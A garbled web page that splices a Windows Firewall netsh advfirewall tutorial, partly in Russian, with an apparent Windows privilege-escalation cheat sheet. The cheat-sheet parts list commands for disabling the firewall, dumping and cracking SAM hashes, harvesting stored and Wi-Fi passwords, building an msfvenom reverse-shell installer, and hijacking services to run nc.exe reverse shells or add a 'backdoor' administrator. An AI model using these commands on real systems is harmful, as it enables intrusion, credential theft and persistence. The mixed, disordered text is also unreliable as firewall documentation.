The previous parts of the article discussed in detail the general description of the term firewall and context commands netsh advfirewall
. This part of the article will describe in detail the methods for creating and modifying security rules for Windows Firewall with Advanced Security using context tools Netsh advfirewall consec
. Commands Netsh advfirewall consec
are equivalent to the commands “Connection Security Rules”
snap-in “Windows Firewall with Advanced Security”
. Context Netsh advfirewall consec
supports five commands, which are described in the following sections. Team dump
will not be considered within the framework of this part of the article, since this command is identical to the command dump
context Netsh advfirewall
.
netsh advfirewall firewall dump
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
netsh firewall show state (show firewall running or stopped)
netsh firewall show config (show firewall configuration)
netsh firewall set opmode disable # Disable firewall
schtasks /query /fo LIST /v
Service Account Priv Esc (Token Impersonation)
cmdkey
to list the stored credentials on the machine.
Currently stored credentials:
runas
with a provided set of credential.
Find all weak folder permissions per drive.
Find all weak file permissions per drive.
accesschk.exe /accepteula -uwsv "Everyone" "C:\Program Files"
Unquoted Service Path Privilege Escalation
PATH directories with weak permissions
PATH directories with weak permissions
C:\Temp> for /f eol^=^”^ delims^=^” %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls “%a”
C:\Temp> type Servicenames.txt
Always Install Elevated :
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 –f msi > install.msi
C:> msiexec /quiet /qn /i install.msi
Compiling Kernel Exploits :
i686-w64-mingw32-gcc exploit.c -o exploit
i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32
NetSh Advfirewall
netsh advfirewall
Note: the commands below should work on Windows Vista, Windows 7, Windows 8,
and Windows Server 2008.
C:\>netsh advfirewall The following commands are available: Commands in this context: ? - Displays a list of commands. consec - Changes to the `netsh advfirewall consec' context. dump - Displays a configuration script. export - Exports the current policy to a file. firewall - Changes to the `netsh advfirewall firewall' context. help - Displays a list of commands. import - Imports a policy file into the current policy store. mainmode - Changes to the `netsh advfirewall mainmode' context. monitor - Changes to the `netsh advfirewall monitor' context. reset - Resets the policy to the default out-of-box policy. set - Sets the per-profile or global settings. show - Displays profile or global properties. The following sub-contexts are available: consec firewall mainmode monitor To view help for a command, type the command, followed by a space, and then type ?
You can view the current firewall settings with netsh advfirewall
show
commands. Issuing the command netsh advfirewall
with
no options will show you the options available to you for the show
command.
C:\>netsh advfirewall show The following commands are available: Commands in this context: show allprofiles - Displays properties for all profiles. show currentprofile - Displays properties for the active profile. show domainprofile - Displays properties for the domain properties. show global - Displays the global properties. show privateprofile - Displays properties for the private profile. show publicprofile - Displays properties for the public profile. show store - Displays the policy store for the current interactive session.
If I want to see the current profile, I can view it with
netsh advfirewall show currentprofile
.
C:\> netsh advfirewall show currentprofile Domain Profile Settings: ---------------------------------------------------------------------- State ON Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pf irewall.log MaxFileSize 4096 Ok.
C:\> netsh advfirewall show allprofiles Domain Profile Settings: ---------------------------------------------------------------------- State ON Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pf irewall.log MaxFileSize 4096 Private Profile Settings: ---------------------------------------------------------------------- State ON Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pf irewall.log MaxFileSize 4096 Public Profile Settings: ---------------------------------------------------------------------- State ON Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pf irewall.log MaxFileSize 4096 Ok. C:\>
If I wished to turn the firewall off for all profiles, I could issue
the command netsh advfirewall set allprofiles state off
C:\> netsh advfirewall set allprofiles state off Ok. C:\> netsh advfirewall show allprofiles Domain Profile Settings: ---------------------------------------------------------------------- State OFF Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pf irewall.log MaxFileSize 4096 Private Profile Settings: ---------------------------------------------------------------------- State OFF Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pf irewall.log MaxFileSize 4096 Public Profile Settings: ---------------------------------------------------------------------- State OFF Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pf irewall.log MaxFileSize 4096 Ok. C:\>
To turn the firewall back on for all profiles, use the command
netsh advfirewall set allprofiles state on
;
C:\>netsh advfirewall set allprofiles state on Ok. C:\>
If I wish to open a port on the firewall, I can use a netsh
advfirewall firewall add rule
command. E.g., on a Windows 7 system on
which I’m running Copssh
OpenSSH for Windows software to allow SSH connectivity to the system for
remote management of it, I want to allow port 22 connectivity through the
firewall. I can use the command below to allow that connectivity.
C:\>netsh advfirewall firewall add rule name="SSH Port 22" dir=in action=allow p rotocol=TCP localport=22 Ok. C:\>
Or, if I already had a rule named “Copssh”, I could check that rule
with a netsh advfirewall firewall show rule
command as in
the instance below.
C:\>netsh advfirewall firewall show rule name="Copssh" Rule Name: Copssh ---------------------------------------------------------------------- Enabled: Yes Direction: In Profiles: Domain,Private,Public Grouping: LocalIP: Any RemoteIP: Any Protocol: TCP LocalPort: 22 RemotePort: Any Edge traversal: No Action: Allow Ok. C:\>
You can determine if the Microsoft
Windows Firewall
is enabled from a command line interface (CLI) by
opening a command prompt window
and using the
netsh
command netsh advfirewall show currentprofile
. If it is
enabled, you will see the “state” value is set to “ON”.
C:\Users\nell>netsh advfirewall show currentprofile Public Profile Settings: ---------------------------------------------------------------------- State ON Firewall Policy BlockInbound,AllowOutbound LocalFirewallRules N/A (GPO-store only) LocalConSecRules N/A (GPO-store only) InboundUserNotification Enable RemoteManagement Disable UnicastResponseToMulticast Enable Logging: LogAllowedConnections Disable LogDroppedConnections Disable FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log MaxFileSize 4096 Ok. C:\Users\nell>
If you want to check on whether inbound access is permitted through the
firewall for a particular port or application, you can search for it with a
netsh advfirewall firewall show rule name=all dir=in
command.
Since there will likely be many lines of output, you can filter the output for
a particular port or application name by
piping
it to the find
command. E.g., if I want to check on whether a rule is
in place for an SSH server application, I can have find
look for
“SSH”.
C:\Users\nell>netsh advfirewall firewall show rule name=all dir=in | find "SSH" Rule Name: Bitvise SSH Server (TCP/IPv6 22) Grouping: Bitvise SSH Server Rule Name: Bitvise SSH Server (TCP/IPv4 22) Grouping: Bitvise SSH Server C:\Users\nell>
Once I’ve identified the full name for the rule, I can use it to view
the details for the relevant rule.
C:\Users\nell>netsh advfirewall firewall show rule name="Bitvise SSH Server (TCP/IPv4 22)" Rule Name: Bitvise SSH Server (TCP/IPv4 22) ---------------------------------------------------------------------- Enabled: Yes Direction: In Profiles: Domain,Private Grouping: Bitvise SSH Server LocalIP: 0.0.0.0-255.255.255.255 RemoteIP: LocalSubnet Protocol: TCP LocalPort: 22 RemotePort: Any Edge traversal: No Action: Allow Ok. C:\Users\nell>
In the case above, the rule is active only for the
”
domain
” and “private”
network profiles
, but not the “public” profile.
- Right-click on the Windows
Start button
. - Select Control Panel
. - Click on System and Security
. - Click on Windows Firewall
. - Click on Allow an app or feature through Windows
Firewall
. You will then see the applications for which connectivity
is allowed through the firewall.
For the GUI method, I could, at the point above, click on the check box
for “Public” for the
” Bitvise SSH
Server
” entry and then click on OK
to allow inbound
Secure
Shell (SSH)
access when the system is connected to any network.
Or for the command prompt method, I could use a netsh advfirewall
set rule
command. The syntax for the command can be viewed by
issuing a netsh advfirewall set rule /?
command.
C:\>netsh advfirewall firewall set rule /? Usage: set rule group= | name= [dir=in|out] [profile=public|private|domain|any[,.]] [program=] [service=service short name|any] [localip=any|||||] [remoteip=any|localsubnet|dns|dhcp|wins|defaultgateway| ||||] [localport=0-65535|[,.]|RPC|RPC-EPMap|IPHTTPS|any] [remoteport=0-65535|[,.]|any] [protocol=0-255|icmpv4|icmpv6|icmpv4:type,code|icmpv6:type,code| tcp|udp|any] new [name=] [dir=in|out] [program= [service=|any] [action=allow|block|bypass] [description=] [enable=yes|no] [profile=public|private|domain|any[,.]] [localip=any|||||] [remoteip=any|localsubnet|dns|dhcp|wins|defaultgateway| ||||] [localport=0-65535|RPC|RPC-EPMap|any[,.]] [remoteport=0-65535|any[,.]] [protocol=0-255|icmpv4|icmpv6|icmpv4:type,code|icmpv6:type,code| tcp|udp|any] [interfacetype=wireless|lan|ras|any] [rmtcomputergrp=] [rmtusrgrp=] [edge=yes|deferapp|deferuser|no (default=no)] [security=authenticate|authenc|authdynenc|notrequired] Remarks: - Sets a new parameter value on an identified rule. The command fails if the rule does not exist. To create a rule, use the add command. - Values after the new keyword are updated in the rule. If there are no values, or keyword new is missing, no changes are made. - A group of rules can only be enabled or disabled. - If multiple rules match the criteria, all matching rules will be updated. - Rule name should be unique and cannot be "all". - If a remote computer or user group is specified, security must be authenticate, authenc or authdynenc. - Setting security to authdynenc allows systems to dynamically negotiate the use of encryption for traffic that matches a given Windows Firewall rule. Encryption is negotiated based on existing connection security rule properties. This option enables the ability of a machine to accept the first TCP or UDP packet of an inbound IPsec connection as long as it is secured, but not encrypted, using IPsec. Once the first packet is processed, the server will re-negotiate the connection and upgrade it so that all subsequent communications are fully encrypted. - Authdynenc is valid only when dir=in. - If action=bypass, the remote computer group must be specified when dir=in. - If service=any, the rule applies only to services. - ICMP type or code can be "any". - Edge can only be specified for inbound rules. Examples: Change the remote IP address on a rule called "allow80": netsh advfirewall firewall set rule name="allow80" new remoteip=192.168.0.2 Enable a group with grouping string "Remote Desktop": netsh advfirewall firewall set rule group="remote desktop" new enable=yes Change the localports on the rule "Allow port range" for udp- Set rule name="Allow port range" dir=out protocol=udp localport=5000-5020 action=allow C:\>
The syntax for the command I would need to use to add the public profile
to the list of network profiles for which SSH access is permitted is shown
below:
C:\Users\nell>netsh advfirewall firewall set rule name="Bitvise SSH Server (TCP/IPv4 22)" new profile=public The requested operation requires elevation (Run as administrator). C:\Users\nell>
To add the “public” profile to the list of profiles for which the SSH
rule is enabled, I could use the command below:
C:\windows\system32>netsh advfirewall firewall set rule name="Bitvise SSH Server (TCP/IPv4 22)" new profile=any Updated 1 rule(s). Ok. C:\windows\system32>netsh advfirewall firewall show rule name="Bitvise SSH Server (TCP/IPv4 22)" Rule Name: Bitvise SSH Server (TCP/IPv4 22) ---------------------------------------------------------------------- Enabled: Yes Direction: In Profiles: Domain,Private,Public Grouping: Bitvise SSH Server LocalIP: 0.0.0.0-255.255.255.255 RemoteIP: LocalSubnet Protocol: TCP LocalPort: 22 RemotePort: Any Edge traversal: No Action: Allow Ok. C:\windows\system32>
Note: you need to include “new” in the command to modify an existing
rule. And to add “public” to “domain” and “private”, I needed to specify
“any”. If I used “public” rather than “any”, then that rule would be modified
to only allow access through the firewall for the Bitvise SSH Server
application for the public network profile as shown below:
C:\windows\system32>netsh advfirewall firewall set rule name="Bitvise SSH Server (TCP/IPv4 22)" new profile=public Updated 1 rule(s). Ok. C:\windows\system32>netsh advfirewall firewall show rule name="Bitvise SSH Server (TCP/IPv4 22)" Rule Name: Bitvise SSH Server (TCP/IPv4 22) ---------------------------------------------------------------------- Enabled: Yes Direction: In Profiles: Public Grouping: Bitvise SSH Server LocalIP: 0.0.0.0-255.255.255.255 RemoteIP: LocalSubnet Protocol: TCP LocalPort: 22 RemotePort: Any Edge traversal: No Action: Allow Ok. C:\windows\system32>
Windows Version and Configuration
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Extract patchs and updates
wmic qfe
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
List all env variables
set Get-ChildItem Env: | ft Key,Value
List all drives
wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_. Provider -like "Microsoft. PowerShell. Core\FileSystem"}| ft Name,Root
User Enumeration
echo %USERNAME% || whoami $env:username
whoami /priv
net user whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name
List logon requirements; useable for bruteforcing
net accounts
net user administrator net user admin net user %USERNAME%
List all local groups
net localgroup Get-LocalGroup | ft Name
net localgroup administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft
List current routing table
route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
List all current connections
netstat -ano
List firewall state and current configuration
netsh advfirewall firewall dump or netsh firewall show state netsh firewall show config
$f=New-object -comObject HNetCfg. FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
netsh firewall set opmode disable netsh advfirewall set allprofiles state off
net share
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
EoP – Looting for passwords
SAM and SYSTEM files
# Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
Generate a hash file for John using pwdump
or samdump2
.
pwdump SYSTEM SAM > /root/sam.txt samdump2 SYSTEM SAM -o sam.txt
Then crack it with john -format=NT /root/sam.txt
.
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.*
Search for a file with a certain filename
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini
Search the registry for key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
Read a value of a certain sub key
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
Passwords in unattend.xml
Location of the unattend.xml files.
C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
.
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64"> <AutoLogon> <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password> <Enabled>true</Enabled> <Username>Administrateur</Username> </AutoLogon> <UserAccounts> <LocalAccounts> <LocalAccount wcm:action="add"> <Password>*SENSITIVE*DATA*DELETED*</Password> <Group>administrators;users</Group> <Name>Administrateur</Name> </LocalAccount> </LocalAccounts> </UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d SecretSecurePassword1234*
The Metasploit module post/windows/gather/enum_unattend
looks for these files.
IIS Web config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config
Other files
%SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent. Evt %WINDIR%\system32\config\SecEvent. Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content. IE5\index.dat %WINDIR%\System32\drivers\etc\hosts dir c:*vnc.ini /s /b dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
netsh wlan show profile
Get Cleartext Pass
netsh wlan show profile <SSID> key=clear
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
EoP – Processes Enumeration and Tasks
What processes are running?
tasklist /v net start sc query Get-Service Get-WmiObject -Query "Select * from Win32_Process" | where {$_. Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_. GetOwner(). User}} | ft -AutoSize
Which processes are running as “system”
tasklist /v /fi "username eq system"
Do you have powershell magic?
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
List installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
net start wmic service list brief tasklist /SVC
schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM Get-ScheduledTask | where {$_. TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
EoP – Incorrect permissions in services
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
- PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions
Note to check file permissions you can use cacls
and icacls
icacls (Windows Vista +)
cacls (Windows XP)
Example with Windows XP SP1
# NOTE: spaces are mandatory for this exploit to work ! sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost sc config upnphost depend= "" net start upnphost
sc config SSDPSRV start=auto net start SSDPSRV net stop upnphost net start upnphost sc config upnphost depend=""
Using accesschk
from Sysinternals or accesschk-XP.exe – github.com/phackt
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS $ accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS $ sc config <vuln-service> binpath="net user backdoor backdoor123 /add" $ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" $ sc stop <vuln-service> $ sc start <vuln-service> $ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add" $ sc stop <vuln-service> $ sc start <vuln-service>
EoP – Windows Subsystem for Linux (WSL)
Technique borrowed from Warlockobama’s tweet
wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
EoP – Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability! All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_. StartMode -eq "Auto" -and $_. PathName -notlike "C:\Windows*" -and $_. PathName -notlike '"*'} | select PathName,DisplayName,Name
Metasploit provides the exploit : exploit/windows/local/trusted_service_path
Example
-
C:\Program.exe
-
C:\Program Files.exe
Show
Например, для того чтобы отобразить все правила безопасности подключений, которые были созданы выполните следующее:
show rule name=all
Delete
При помощи команды Delete
контекста Netsh Advfirewall Consec
вы можете удалить все правила или отдельные их параметры. При указании команды без параметров, команда delete удалит все созданные ранее правила безопасности подключения. При обнаружении нескольких совпадений удаляются все правила, удовлетворяющие условию. Синтаксис команды следующий:
Netsh Advfirewall Consec Delete Rule Параметр Значение
Все параметры, которые доступны для этой команды, идентичны некоторым параметрам команды Add
. Для этой команды доступны следующие параметры:
В следующем примере попробуем удалить все правила, типом которых указано значение dynamic:
delete rule name=all type=dynamic
Automated Enumeration Tools
load powershell (only in meterpreter)
Add
В контексте Netsh Advfirewall Consec
, команда Add
предназначена только для создания правил безопасности подключения при помощи Add rule
. Правила безопасности подключения для защиты данных, передаваемых по сети, используют протокол IPsec. Правила безопасности подключения позволяют указать, что соединения между двумя компьютерами должны проходить проверку подлинности или шифроваться. Синтаксис команды следующий:
Netsh Advfirewall Consec Add rule name=ИмяПравила <строка с параметрами правила>
Name = Имя правила
. При помощи этого параметра вы можете указать имя нового правила безопасности подключения. Имя правила должно быть уникальным и не может иметь значение «all».
- any
– addresses of IPv4 or IPv6 computers; - localsubnet
– any computers located on the same subnet as the local computer; - Dns | dhcp | wins | defaultgateway
– any computers that are configured as servers; - IPAddress
– only IPv4 or IPv6 addresses of computers that have a static address; - IPSubnet
– IPv4 or IPv6 subnet addresses that match any computer located on the specified subnet. The subnet format is a starting address followed by a “/” followed by any number of subnet mask bits; - IP Band
– an IPv4 or IPv6 address range that matches any computer in the specified range. The range format is the start address and end address of the range, separated by a “-” sign.
endpoint2 = Addresses
. The values of this parameter are identical to the parameter Endpoint1
. Addresses or ranges endpoint1
and endpoint2
must be separated by commas.
- requireinrequestout
– Using this value, all incoming network connections on the local computer that match the current rule and must be successfully authenticated are indicated. The connection will be allowed even if the check fails. Otherwise, all network traffic is dropped. In environments with server and domain isolation, this setting is typically used for computers that are in the border zone; - requestinrequestout
– Using this value, all incoming and outgoing network connections that match the current rule and must be successfully authenticated are indicated. Also, the connection will be allowed even if the authentication attempt fails; - requireinrequireout
– using this value, the environments with isolation of servers and domains are specified, which are used for computers located in the border zone; - requireinclearout
– This value specifies the connections that are applied to incoming tunnel network traffic from clients when a tunnel mode rule is created on the computer that serves the tunnel endpoint for remote clients. Only new outgoing connections that come through the tunnel are sent back; - noauthentication
– With this value, you can specify that no IPsec protection is required to create a connection authentication exclusion rule.
description = Description of the rule
. With this option you can specify a detailed description for the created rule.
- dynamic
– when this value is specified, the Windows Firewall with Advanced Security rule is immediately applied to the current session and is not bound to the computer address. In this case, no policy is saved and the rule will not be active after the computer is restarted; - static
– the rule will be stored in the current policy store specified using the command advfirewall set store
. The rule will not be applied until the policies are active.
Default is static
.
If you specify the value any
, then the computer at endpoint 1 will also be the local tunnel endpoint for this connection. The computer at endpoint 1 encapsulates its own network packets and forwards them to the remote tunnel endpoint, which extracts and forwards the data to the destination computer at endpoint 2. The IP version of the tunnel endpoint addresses must be the same. For example, if an IPv4 address is set for one end, the other end must also be set with an IPv4 address. You can specify both protocols – both IPv4 and IPv6.
- any
– by setting this value, any types of interfaces are applied to the rule; - wireless
– by setting this value, the rule is applied only if the connection is made via a wireless network. - lan
– by setting this value, the rule is applied only if the connection to the network is made using a network adapter. - ras
– by setting this value, the rule is applied only if the connection to the network is made using the RAS interface, VPN or Dial-Up.
- computerkerb
– if this value is selected, the Kerberos V5 protocol will be used for computer authentication; - computercert
– When this value is selected for authentication, the computer uses a certificate issued by a certificate authority (CA) that is signed using the RSA public key encryption algorithm; - computercertecdsap256
– When this value is selected for authentication, the computer uses a certificate issued by a certificate authority (CA) that is signed using an elliptic curve digital signature algorithm with a 256-bit key strength level; - computercertecdsap384
– When this value is selected for authentication, the computer uses a certificate issued by a certificate authority (CA) that is signed using an elliptic curve digital signature algorithm with a 384-bit key strength level; - computerpsk
– When this value is selected for authentication, the computer uses the manually entered pre-shared key data on the two computers to transfer data. This key is stored unencrypted and therefore it is recommended not to use this value; - computerntlm
– When this value is selected, the NTLMv2 method is used for computer account authentication. This value cannot be used with the computerpsk value; - anonymous
– this parameter is not recommended to be selected without other values, as well as with the value computerpsk
. When using this value with the above values, it is recommended to add it last.
- CAName
– Use this value to specify the name of the issuer of the certificate that is used for authentication. The format of the expression must comply with the certificate standards (CN, OU…). The name of the certification authority must be prefixed with “CN=”; - Certmapping
– use this value to specify whether to enable certificate-to-account mapping; - Excludecaname
– This value specifies whether to exclude the name of the trusted root certification authority on behalf of which the certificate is being accepted. - Catype
– The cattype parameter can be used to specify the type of the CA, cattype=root/intermediate.
- userkerb
– if this value is selected, the Kerberos V5 protocol will be used for user authentication; - userntlm
– When this value is selected, the NTLMv2 method is used for user account authentication; - usercert
– When this value is selected for authentication, the user’s certificate issued by a certification authority (CA) is used if the certificate is signed using the RSA public key encryption algorithm. - usercertecdsap256
– When this value is selected for authentication, a user certificate issued by a certification authority (CA) is used if the certificate is signed using an elliptic curve digital signature algorithm with a 256-bit key strength level; - usercertecdsap384
– When this value is selected for authentication, the user’s certificate issued by a certification authority (CA) is used if the certificate is signed using an elliptic curve digital signature algorithm with a 384-bit key strength level.
Meaning of commands auth2ca
, auth2ecdsap256ca
and auth2ecdsap384ca
do not differ from identical commands for auth1
, auth1
and auth2
, they can be specified as comma-separated lists of parameters. Method computercert
cannot be specified with user credentials.
- authnoencap
– The use of authnoencap means that computers will only use authentication, and will not use any packet encapsulation or encryption algorithms to protect subsequent network packets transmitted over this connection. The AuthNoEncap parameter must be accompanied by at least one AH or ESP integrity kit. After authentication is complete, the rest of the network packets associated with the connection are sent unencrypted; - Integrity
– this parameter is responsible for the integrity of the algorithm. For the qmsecmethods parameter, integrity=md5|sha1|sha256|aesgmac128|aesgmac192|aesgmac256|aesgcm128|aesgcm192|aesgcm256. In case you don’t need to specify AH, just don’t include ah:Integrity in the command; - Encryption
– this parameter is responsible for the encryption of the algorithm. For the qmsecmethods parameter, encryption=3des|des|aes128|aes192|aes256|aesgcm128|aesgcm192|aesgcm256. If aesgcm128, aesgcm192, or aesgcm256 are specified, they must be used for both ESP integrity and encryption; - Life
– this parameter is responsible for the session life cycle in minutes. The default value is 60 minutes. The value must be between 5 and 2880 minutes; - Data
– this parameter is responsible for the size of the session life cycle in kilobytes. After the specified volume expires, a new session is created. The default value is 100000KV. The value must be between 20480 and 2147483647KV.
This example creates a rule with quick mode custom guesses:
add rule name="Quick mode rule" endpoint1=195.38.1.1 endpoint2=195.68.255.255 qmsecmethods=authnoencap:sha1,ah:aesgmac256+esp:aesgmac256-none action=requireinrequestout
